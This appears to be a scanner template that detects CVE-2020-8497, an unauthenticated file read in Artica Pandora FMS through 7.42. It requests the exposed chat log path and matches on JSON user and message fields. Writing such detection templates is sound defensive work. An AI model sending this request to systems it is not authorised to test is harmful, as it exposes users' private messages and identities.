id: CVE-2020-8497
info:
name: Artica Pandora FMS - Arbitrary File Read
author: gy741
severity: medium
description: In Artica Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps.
reference:
- https://k4m1ll0.com/cve-2020-8497.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-8497
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-8497
cwe-id: CWE-306
tags: cve,cve2020,fms,artica
requests:
- method: GET
path:
- '{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"type"'
- '"id_user"'
- '"user_name"'
- '"text"'
condition: and
- type: status
status:
- 200
